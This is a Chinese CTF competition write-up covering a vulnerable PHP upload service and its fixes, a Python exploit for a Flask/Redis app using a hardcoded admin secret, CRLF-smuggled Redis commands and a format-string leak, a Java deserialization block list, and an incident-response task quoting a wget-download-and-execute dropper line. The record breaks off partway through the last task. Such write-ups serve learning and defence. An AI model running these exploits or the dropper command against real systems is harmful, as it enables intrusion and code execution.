ccb&ciscn线下半决赛

有幸拿到一等奖

awdp

php-master


导入

1
2
3
4
5
# docker 导入
docker load -i xxx.tar

# 不知道端口的情况下运行该镜像
docker run -it <images> /bin/bash

查看运行端口,发现就是80,那就可以用以下命令运行docker

1
2
3
docker run -d -p 4545:80 <images> 
# 进入容器
docker exec -it <container> /bin/bash

在容器中找到index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
@error_reporting(E_ALL);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];

$upload_dir = '';
$target_file = $upload_dir . basename($file['name']);

$result = move_uploaded_file($file['tmp_name'], $target_file);

if ($result) {
$message = '文件上传成功!';
$msg_class = 'success';
} else {
$message = '文件上传失败';
$msg_class = 'error';
}
} else {
$message = '没有选择要上传的文件';
$msg_class = 'error';
}
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>PHP MASTER</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 500px;
margin: 50px auto;
padding: 20px;
}
.upload-box {
border: 2px dashed #ccc;
padding: 30px;
text-align: center;
}
.btn {
background: #007bff;
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
}
.btn:hover {
background: #0056b3;
}
.message {
padding: 15px;
margin: 20px 0;
border-radius: 4px;
}
.success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.error {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
</style>
</head>
<body>
<h2>PHP MASTER</h2>

<?php if (isset($message)): ?>
<div class="message <?php echo $msg_class; ?>">
<?php echo $message; ?>
</div>
<?php endif; ?>

<form action="" method="post" enctype="multipart/form-data" class="upload-box">
<p>请选择要上传的文件:</p>
<input type="file" name="file" required>
<br><br>
<button type="submit" class="btn">上传文件</button>
</form>
</body>

fix

几个想法:

  1. 加密文件名,但是也很容易绕过,暴露出文件名就绕过了
  2. 黑名单限制 不大安全,可以过不了check
  3. 白名单限制
  4. 设置安全的upload_dir路径

  1. 加密文件名
1
2
3
4
5
6
$hash_name = hash_hmac('sha256', uniqid() . $file['name'], $secret_key);
$safe_filename = $hash_name . '.' . $file_ext;
$target_file = realpath($upload_dir) . '/' . $safe_filename;

# 或者是:
$safe_filename = md5(uniqid(mt_rand(), true)) . '.' . $file_ext;

  1. 黑名单
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$blacklist_extensions = ['php', 'php3', 'php4', 'php5', 'phtml', 'phar', 'htaccess', 'exe', 'sh', 'bat', 'cmd', 'jsp', 'asp', 'aspx'];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$file = $_FILES['file'];

// 获取扩展名(小写)
$file_ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));

// 检查黑名单扩展名
if (in_array($file_ext, $blacklist_extensions)) {
die('上传的文件类型被禁止!');
}

if (move_uploaded_file($file['tmp_name'], $target_file)) {
echo '文件上传成功!';
} else {
echo '文件上传失败';
}
} else {
echo '没有选择要上传的文件或上传失败';
}

杂糅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
@error_reporting(0);
ini_set('display_errors', 0);

$upload_dir = __DIR__ . '/uploads/';
$max_file_size = 2 * 1024 * 1024; // 2MB

// 定义黑名单
$blacklist_extensions = ['php', 'php3', 'php4', 'php5', 'phtml', 'phar', 'htaccess', 'exe', 'sh', 'bat', 'cmd', 'jsp', 'asp', 'aspx'];
$blacklist_mime_types = ['application/x-httpd-php', 'application/x-php', 'application/x-httpd-php-source'];

if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0755, true);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$file = $_FILES['file'];

// 获取扩展名(小写)
$file_ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));

// 读取 MIME 类型
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime_type = $finfo->file($file['tmp_name']);

// 1. 检查黑名单扩展名
if (in_array($file_ext, $blacklist_extensions)) {
die('上传的文件类型被禁止!');
}

// 2. 检查黑名单 MIME 类型
if (in_array($mime_type, $blacklist_mime_types)) {
die('非法的 MIME 类型');
}

// 3. 防止双扩展名绕过(如:`shell.php.jpg`)
if (preg_match('/\.(php[0-9]?|phtml|phar)$/i', $file['name'])) {
die('禁止上传双扩展名文件!');
}

// 4. 限制文件大小
if ($file['size'] > $max_file_size) {
die('文件过大');
}

// 5. 生成随机文件名,防止目录穿越
$safe_filename = uniqid() . '.' . $file_ext;
$target_file = realpath($upload_dir) . '/' . $safe_filename;

// 确保文件存储路径在 uploads 目录内
if (strpos($target_file, realpath($upload_dir)) !== 0) {
die('非法的文件路径');
}

if (move_uploaded_file($file['tmp_name'], $target_file)) {
echo '文件上传成功!';
} else {
echo '文件上传失败';
}
} else {
echo '没有选择要上传的文件或上传失败';
}
}

attack

没有任何防护,直接写马

rng-assistant


附件地址:CTFReproduction/2025/ciscn&ccb/rng-assistant at main · symya/CTFReproduction

借鉴0psu3的思路,不得不说,师傅的思路确实非常精妙

看源码

与 Redis 通信,并管理模型端口映射

1
2
3
redis_conn = redis.Redis(host="localhost", port=6379, db=0)

model_ports = {"math-v1": 54321, "default": 50051}

在以下两个路由 /admin/raw_ask/admin/model_ports 中,管理员身份校验依赖于硬编码的密钥

1
2
3
4
5
6
7
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403

伪造请求头就能绕过。

/admin/model_ports 路由中,可以model_idport可控

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route("/admin/model_ports", methods=["POST", "PUT", "DELETE"])
def manage_model_ports():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403

data = request.json
model_id = data.get("model_id")
port = data.get("port")

所以可以以管理员身份调用 /admin/model_ports 路由,篡改模型端口映射,将 math-v1 指向 Redis 服务

/admin/raw_ask 路由中,代码将用户输入的自定义提示prompt直接发送到对应model_id的服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route("/admin/raw_ask", methods=["POST", "PUT", "DELETE"])
def manage_ask():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403

data = request.json
model_id = data.get("model_id", "default")
custom_prompt = data.get("prompt")

final_prompt = custom_prompt

response = query_model(final_prompt, model_id)
return jsonify({"answer": response, "user": whoami(session['user'])})

在这里就可以直接指向redis服务,发送SET命令,将Redis 中的 prompt:math-v1 键的值设置为 {t.__init__.__globals__},实现命令注入

最后在/ask路由中,使用 .format() 渲染 Redis 中的模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route("/ask", methods=["POST"])
def ask_question():
if "user" not in session:
return jsonify({"error": "Login required"}), 401

data = request.json
question = data.get("question")
model_id = data.get("model_id", "default")

final_prompt = generate_prompt(question)

response = query_model(final_prompt, model_id)
res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
return jsonify(res)

prompt:math-v1 被修改为 {t.__init__.__globals__} 后,final_prompt 中的 format() 将解析 Python 全局变量

session有时间限制,直接改包来不及

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
from flask import session
from requests import Session

proxies = {
'http': None,
'https': None,
}

base_url = "http://192.168.111.100:18082/"

headers = {
"Content-Type": "application/json"
}

admin_headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
"X-Secret": "210317a2ee916063014c57d879b9d3bc"
}

def register(sess: Session):
data = {
"username": "symya",
"password": "symya"
}
res = sess.post(url = base_url + "register",headers = headers,json = data,proxies=proxies)
print(res.status_code)
print(res.text)

def login(sess: Session):
data = {
"username": "symya",
"password": "symya"
}
res = sess.post(url = base_url + "login",headers=headers,json=data,proxies=proxies)
print(res.status_code)
print(res.text)

def admin_model_ports(sess:Session):
data = {
"model_id": "exp",
"port": 6379
}
res = sess.post(url = base_url + "admin/model_ports",headers=admin_headers,json=data,proxies=proxies)
print(res.status_code)
print(res.text)

def admin_raw_ask(sess:Session):
data = {
"model_id": "exp",
"prompt":'\r\nSET "prompt:math-v1" "{t.__init__.__globals__}"\r\n'
}
res = sess.post(url = base_url+"/admin/raw_ask",json=data,headers=admin_headers,proxies=proxies)
print(res.status_code)
print(res.text)

def ask(sess: Session,prompt: str):
data = {
"question": f"{prompt}",
"model_id": "exp"
}
res = sess.post(url = base_url + "ask",headers=headers,json=data)
print(res.status_code)
print(res.text)

if __name__ == "__main__":
sess = Session()
register(sess)
login(sess)
admin_model_ports(sess)
admin_raw_ask(sess)
ask(sess,"flag")

注意!使用docker-compose的方式启动会无法正常暴露redis服务,需要自行修改成0.0.0.0

1
2
3
root@f1eb3dff54f8:/app# ss -tuln | grep 6379
tcp LISTEN 0 511 127.0.0.1:6379 0.0.0.0:*
tcp LISTEN 0 511 [::1]:6379 [::]:*

time-capsule


cfr反编译,导入配置文件。

冷部署

过滤掉HikariCP FieldGetterHandler SignedObject 类即可。

SafeObjectInputStream.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.ctf.util;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.Set;

public class SafeObjectInputStream extends ObjectInputStream {

// 黑名单:禁止这些类被反序列化
private static final Set<String> BLOCKED_CLASSES = Set.of(
"javax.crypto.SignedObject",
"com.zaxxer.hikari.HikariConfig", // HikariCP
"com.zaxxer.hikari.util.PropertyElf",
"org.apache.commons.beanutils.BeanComparator", // ysoserial gadget
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.springframework.beans.factory.ObjectFactory",
"sun.reflect.annotation.AnnotationInvocationHandler",
"sun.reflect.DelegatingClassLoader",
"org.springframework.aop.framework.AdvisedSupport",
"FieldGetterHandler" // 自定义添加
);

public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
if (isBlocked(className)) {
throw new InvalidClassException("Blocked deserialization of class: " + className);
}
return super.resolveClass(desc);
}

private boolean isBlocked(String className) {
return BLOCKED_CLASSES.stream().anyMatch(className::equals);
}
}

CLASS_LIB=$(find ./BOOT-INF/lib/ -name “*.jar” | tr ‘\n’ ‘:’);
javac -cp “.:${CLASS_LIB%:}” ./com/example/DemoApplication.java

一键式冷部署脚本

cold_deploy.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash

# === 参数配置 ===
JAR_PATH="myapp.jar" # 原始 JAR 包路径
JAVA_SRC="com/example/DemoApplication.java" # 你修改后的 Java 文件
MAIN_CLASS_DIR="BOOT-INF/classes" # 放 class 文件的位置
OUTPUT_JAR="myapp-updated.jar" # 输出的新 JAR 包名
WORK_DIR="jar-unpack" # 临时工作目录

# === 准备工作目录 ===
rm -rf "$WORK_DIR"
mkdir "$WORK_DIR"
cp "$JAR_PATH" "$WORK_DIR/"
cd "$WORK_DIR" || exit 1
jar -xf "$(basename "$JAR_PATH")"

# === 编译 Java 文件 ===
echo "[*] Compiling $JAVA_SRC ..."
CLASS_LIB=$(find ./BOOT-INF/lib/ -name "*.jar" | tr '\n' ':' | sed 's/:$//')

javac -cp ".:$CLASS_LIB" "../$JAVA_SRC"
if [ $? -ne 0 ]; then
echo "[!] Compilation failed."
exit 1
fi

# === 替换编译后的 class 文件 ===
DEST_CLASS="${JAVA_SRC%.java}.class"
DEST_PATH="$MAIN_CLASS_DIR/${DEST_CLASS#com/}"
mkdir -p "$(dirname "$DEST_PATH")"
mv "../$DEST_CLASS" "$DEST_PATH"

# === 重新打包为 JAR ===
echo "[*] Repacking into $OUTPUT_JAR ..."
jar -cfM "../$OUTPUT_JAR" .

echo "[✔] Done. Updated JAR is at: $(realpath ../$OUTPUT_JAR)"

isw

应急响应


小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取flag文件。

请根据以下问题进行提交:

题目1:找出主机上木马回连的主控端服务器IP地址[不定时(3~5分钟)周期性],并以flag{MD5}形式提交,其中MD5加密目标的原始字符串格式IP:port。
题目2:找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}
题目3:找出主机上加载远控木马的持久化程序(下载者),其功能为下载并执行远控木马,计算该文件的MD5, 结果提交形式:flag{MD5}。
题目4:查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。
题目5:分析题目2中找到的远控木马,获取木马通信加密密钥, 结果提交形式:flag{通信加密密钥}。
题目6:分析题目3中持久化程序(下载者),找到攻击者分发远控木马使用的服务器,并获取该服务器权限,找到flag,结果提交形式:flag{xxxx}。tips:压缩包密码最后一位为.
题目7:获取题目2中找到的远控木马的主控端服务器权限,查找flag文件,结果提交形式:flag{xxxx}

入口主机请通过 ssh 进行登录,登录口令为:ubuntu/admin_123456,如需 root 权限请使用 sudo;
第一层解压密码:5e9c5e0370a9c29816b44dfbe2ae5a8d
第二层解压密码:81c7e0d7a82ee016e304fb847c31e497

链接: https://pan.baidu.com/s/1erbJPpMlXLCHEpdmXEuvOg?pwd=q1uz 提取码: q1uz
–来自百度网盘超级会员v7的分享

flag1

找出主机上木马回连的主控端服务器IP地址[不定时(3~5分钟)周期性],并以flag{MD5}形式提交,其中MD5加密目标的原始字符串格式IP:port。

将镜像导入r-studio中

在/home/ubuntu目录下找到可疑文件:1.txt

image

找这个文件

/tmp/.system_upgrade

没找到

在/home/ubuntu目录下还存在.viminfo文件,查看

image

“/etc/systemd/system/system-upgrade.service”

image

指向/lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko

down下来,ida打开

image

得到第一题答案为

192.168.57.203:4948

image

flag{59110f555b5e5cd0a8713a447b082d63}

flag2

找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}

image

在ubuntu那台机子上计算文件md5即可

image

flag{bccad26b665ca175cd02aca2903d8b1e}

flag3

找出主机上加载远控木马的持久化程序(下载者),其功能为下载并执行远控木马,计算该文件的MD5, 结果提交形式:flag{MD5}。

就是system-upgrade.ko

flag{78edba7cbd107eb6e3d2f90f5eca734e}

flag4

查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。

也就是一开始找到的1.txt文件

1
wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade

下载文件并赋予可执行权限

1
.system_upgrade

flag{9729aaace6c83b11b17b6bc3b340d00b}

flag5

分析题目2中找到的远控木马,获取木马通信加密密钥, 结果提交形式:flag{通信加密密钥}。

逆向分析system-agentd文件,线下真不会hhhhhh,逆向手nb,但可惜没带逆向(:

线上打直接丢到微步云沙箱里头跑一跑(但线下不行啊hhhh,看见微步出了个本地沙箱,有时间玩一玩

finalshell没加载过来,用scp的方式传输systemd-agentd

1
cp ubuntu@52.83.27.239:/lib/systemd/systemd-agentd /home/kali/

……